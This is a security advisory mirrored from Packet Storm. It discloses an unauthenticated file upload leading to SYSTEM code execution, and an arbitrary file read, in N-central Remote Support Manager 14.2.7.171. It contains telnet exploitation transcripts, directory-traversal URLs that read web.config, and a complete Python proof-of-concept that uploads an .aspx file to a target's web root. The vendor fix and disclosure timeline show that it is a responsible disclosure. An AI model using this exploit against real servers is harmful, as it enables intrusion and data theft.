Lucene search
K

N-Central Remote Support Manager 14.2.7.171 File Read / Code Execution

🗓️ 19 Jan 2015 00:00:00Reported by Thomas HibbertType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 49 Views

N-Central Remote Support Manager 14.2.7.171 File Read / Code Execution vulnerabilit

Code
`( , ) (,  
. '.' ) ('. ',  
). , ('. ( ) (  
(_,) .'), ) _ _,  
/ _____/ / _ \ ____ ____ _____  
\____ \==/ /_\ \ _/ ___\/ _ \ / \  
/ \/ | \\ \__( <_> ) Y Y \  
/______ /\___|__ / \___ >____/|__|_| /  
\/ \/.-. \/ \/:wq  
(x.0)  
'=.|w|.='  
_=''"''=.  
  
presents..  
  
N-central Remote Support Manager Multiple Vulnerabilities  
  
Affected Versions: Verified in Version 14.2.7.171  
  
PDF: http://www.security-assessment.com/files/documents/advisory/Ncentral_Remote_Support_Manager_Multiple_Vulnerabilities.pdf  
  
+-------------+  
| Description |  
+-------------+  
  
Two critical vulnerabilities were identified in the RemoteSupportManager server.  
  
1. RELAYFTP Unauthenticated Arbitrary File Upload and SYSTEM Remote Code Execution  
  
The Remote Support Manager RELAYFTP subsystem ships with anonymous file access enabled.  
A malicious attacker may leverage this to upload files to the machine running Remote   
Support Manager without having to provide any authentication. By placing the uploaded  
files within the RSM web root, arbitrary code execution can be achieved. Code executed  
in this manner runs under the NT AUTHORITY/SYSTEM user.  
  
2. Download.aspx Unauthenticated Arbitrary File Read  
  
The Remote Support Manager webroot includes a Download.aspx script that is accessible  
without authentication. A malicious user may leverage this to download arbitrary files  
from the machine running Remote Support Manager.  
  
+--------------+  
| Exploitation |  
+--------------+  
  
1. RELAYFTP Unauthenticated Arbitrary File Upload and SYSTEM Remote Code Execution  
  
Verifying the vulnerability exists is achievable using telnet.  
  
cartel@mintyfresh ~/code/exploits $ telnet XXXXXXXXXXXX 2000  
Trying XXXXXXXXXXXXXX...  
Connected to XXXXXXXXXXXXXX  
Escape character is '^]'.  
RELAYFTP  
200 Ready  
USER anonymous  
230  
TYPE I  
200  
MODE I  
502  
CWD C:\\  
250  
CWD C:\Program Files (x86)\N-able Technologies\NRM\RSMWeb\Pages  
250  
EPSV Entering Extended Passive Mode (|||5|)  
LIST  
150 Creating data client for LIST  
  
Retrieving and uploading files is done with the EPSV command. When EPSV is issued, the  
number between the pipes (5 in this instance) is the data client identifier to be used  
in the next command.  
  
Creating a new connection with RELAYFTP, followed by the data client number, associates  
it with that client, as shown below:  
  
Trying XXXXXXXXXXXXXX...  
Connected to XXXXXXXXXXXXXX  
Escape character is '^]'.  
RELAYFTP5  
drwxrwxrwx 2 0 0 4096 Mar 07 10:31 ChatApplication  
drwxrwxrwx 2 0 0 4096 Mar 07 10:31 Common  
drwxrwxrwx 2 0 0 4096 Mar 07 10:31 ComputerManagement  
drwxrwxrwx 2 0 0 4096 Mar 07 10:31 Dashboard  
drwxrwxrwx 2 0 0 4096 Mar 07 10:31 FileManager  
drwxrwxrwx 2 0 0 4096 Mar 07 10:31 NTR  
drwxrwxrwx 2 0 0 4096 Mar 07 10:31 PerformanceMonitoring  
drwxrwxrwx 2 0 0 4096 Mar 07 10:31 RDP  
-rw-r--r-- 2 0 0 1117 Feb 06 16:19 download.aspx  
-rw-r--r-- 2 0 0 1201 Feb 07 09:52 EncryptPassword.aspx  
-rw-r--r-- 2 0 0 1201 Feb 07 09:52 Login.aspx  
  
Uploading a file is a matter of issuing the STOR command with the pipe separated  
arguments of filename and file length, as shown below:  
  
EPSV  
229 Entering Extended Passive Mode (|||15|)  
STOR hello.txt|6  
150 Creating data client for STOR  
  
Data sent after a RELAYFTP command associated with the STOR data client will be  
written to the associated file.  
  
Connected to XXXXXXXXXXXXXX.  
Escape character is '^]'.  
RELAYFTP15  
hello  
  
By uploading an .aspx file in this manner, it is possible to gain arbitrary code  
execution on the RSM server. A proof of concept exploit automating this is attached  
to this advisory.  
  
2. Arbitrary File Download   
  
The download.aspx file in the RSMWeb '/pages/' folder may be used to download   
arbitrary files without authentication. The filename to download is provided as the  
"file=" argument as in the following sample URL:  
  
http://192.168.XXX.XXX:2000/pages/download.aspx?file=download.aspx  
  
By utilising directory traversal it is possible to download files from any folder on  
the C:\ filesystem as shown in the following example URL:  
  
http://192.168.XXX.XXX:2000/Pages/download.aspx?file=..\web.config  
  
+----------+  
| Solution |  
+----------+  
  
Update the Remote Support Manager component to the latest available version   
(14.10.27.176 as of this release).   
  
+---------------------+  
| Disclosure Timeline |  
+---------------------+  
  
17-06-2014 Advisory uploaded to vendor support portal  
01-07-2014 First follow up e-mail sent  
02-07-2014 Vendor advises they have not received the upload  
02-07-2014 Advisory reuploaded  
14-07-2014 Vendor advises they are able to reproduce the issues but cannot  
offer a timeframe for a fix  
16-01-2015 Confirm vulnerabilities have been fixed, advisory released.  
  
+-------------------------------+  
| About Security-Assessment.com |  
+-------------------------------+  
  
Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.  
  
Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.  
  
For further information on this issue or any of our service offerings, contact us:  
Web www.security-assessment.com  
Email [email protected]  
Phone +64 4 460 2596  
  
Thomas Hibbert  
Security Consultant  
Security-Assessment.com  
  
  
  
-----------------------------------------  
rsm-relayftp-file-upload.py  
  
  
#!/usr/bin/env python  
import socket  
from time import sleep  
from sys import argv  
  
asc = """  
  
( , ) (,  
. '.' ) ('. ',  
). , ('. ( ) (  
(_,) .'), ) _ _,  
/ _____/ / _ \ ____ ____ _____  
\____ \==/ /_\ \ _/ ___\/ _ \ / \  
/ \/ | \\ \__( <_> ) Y Y \  
/______ /\___|__ / \___ >____/|__|_| /  
\/ \/.-. \/ \/:wq  
(x.0)  
'=.|w|.='  
_=''"''=.  
"""  
  
chat = ['RELAYFTP',  
'USER anonymous',  
'TYPE I',  
'MODE I',  
'CWD C:\\',  
'CWD C:\Program Files (x86)\N-able Technologies\NRM\RSMWeb\Pages']  
  
print asc  
  
print "Cartel presents: rsm-relayftp-upload.py"  
if len(argv) < 3:  
print " usage: rsm-relayftp-upload.py [target] [file.aspx] [[-v]]"  
print " ...will put [file.aspx] to target:2000/Pages/"  
raise SystemExit  
  
  
HOST = argv[1]  
PORT = 2000   
  
debug = None  
if len(argv) == 4:  
if argv[3] == "-v":  
debug = True  
  
def getsock():  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.settimeout(30)  
s.connect((HOST, PORT))  
return s  
  
def sput(s, p, r=1024):  
global debug  
for i in p.split("\n"):  
if debug: print "> "+i  
s.send(p+"\n")  
sleep(0.1)  
data = s.recv(r)  
for i in data.split("\n"):  
if debug: print "< "+i  
return data  
  
print "[+] Setting up session..."  
s = getsock()  
for i in chat:  
try:  
sput(s,i)  
except:  
print "[!] Something went wrong, either the server is not vulnerable or the request timed out."  
raise SystemExit  
  
  
def getid(data):  
return data.split("|||")[1].split("|")[0]  
  
print "[+] Testing EPSV..."  
data = sput(s, "EPSV")  
id = getid(data)  
  
s2 = getsock()  
print "[!] LIST output"  
print "---"  
data = sput(s, "LIST")  
data = sput(s2, "RELAYFTP%s"%id)  
s2.close()  
if not debug: print data  
print "---"  
  
  
f = open(argv[2]).read()  
print "[!] STOR %s"%argv[2]  
data = sput(s, "EPSV")  
id = getid(data)  
data = sput(s, "STOR %s|%s"%(argv[2], len(f)))  
  
s2 = getsock()  
data = sput(s2, "RELAYFTP%s"%id, r=1)  
data = sput(s2, f)  
  
data = sput(s, "EPSV")  
id = getid(data)  
print "[!] LIST output"  
print "---"  
data = sput(s, "LIST")  
  
s2 = getsock()  
data = sput(s2, "RELAYFTP%s"%id)  
if not debug: print data  
s2.close()  
print "---"  
print "[+] execution finished"  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation